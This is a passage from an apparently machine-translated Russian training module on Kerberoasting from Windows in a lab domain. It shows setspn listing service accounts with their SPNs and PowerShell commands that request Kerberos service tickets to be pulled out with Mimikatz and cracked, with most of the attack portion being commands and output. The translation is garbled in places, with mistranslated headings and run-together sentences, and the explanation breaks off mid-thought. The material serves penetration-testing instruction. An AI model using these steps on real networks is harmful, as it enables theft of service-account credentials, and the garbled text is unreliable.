До появления таких инструментов, как Rubeus
, кража или подделка билетов Kerberos была сложным ручным процессом. По мере развития тактики и средств защиты мы теперь можем выполнять загрузку Kerberos из Windows несколькими способами. Чтобы начать с этого пути, мы изучим ручной способ, а затем перейдем к более автоматизированному инструменту. Давайте начнем со встроенного двоичного файла setspn для перечисления SPN в домене.
Загрузка Kerberoasting - из Windows
C:\\htb> setspn.exe -Q */*
Checking domain DC=INLANEFREIGHT,DC=LOCAL
CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
exchangeAB/ACADEMY-EA-DC01
exchangeAB/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
TERMSRV/ACADEMY-EA-DC01
TERMSRV/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/ForestDnsZones.INLANEFREIGHT.LOCAL
ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DomainDnsZones.INLANEFREIGHT.LOCAL
<SNIP>
CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
backupjob/veam001.inlanefreight.local
CN=SOLARWINDSMONITOR,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
sts/inlanefreight.local
<SNIP>
CN=sqlprod,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/SPSJDB.inlanefreight.local:1433
CN=sqlqa,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351
CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
CN=adfs,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
adfsconnect/azure01.inlanefreight.local
Existing SPN found!
Мы заметим множество разных SPN, возвращаемых для разных хостов в домене. Мы сосредоточимся на user accounts
и проигнорируем учетные записи компьютеров, возвращаемые инструментом. Далее, используя PowerShell, мы можем запросить TGS-заявки для учетной записи в командной строке выше и загрузить их в память. Как только они будут загружены в память, мы можем извлечь их с помощью Mimikatz
. Давайте попробуем это, настроив таргетинг на одного пользователя:
Загрузка Kerberoasting - из Windows
PS C:\\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Id : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/24/2022 11:36:22 PM
ValidTo : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Прежде чем двигаться дальше, давайте разберем приведенные выше команды, чтобы увидеть, что мы делаем (что, по сути, используется Rubeus при использовании метода Kerberoasting по умолчанию).:
AssemblyName
позволяет нам указать сборку, содержащую типы, которые нас интересуют в использованииМы также можем выбрать извлечение всех билетов с помощью того же метода, но при этом будут извлечены все учетные записи компьютеров, поэтому этот способ не является оптимальным.
Загрузка Kerberoasting - из Windows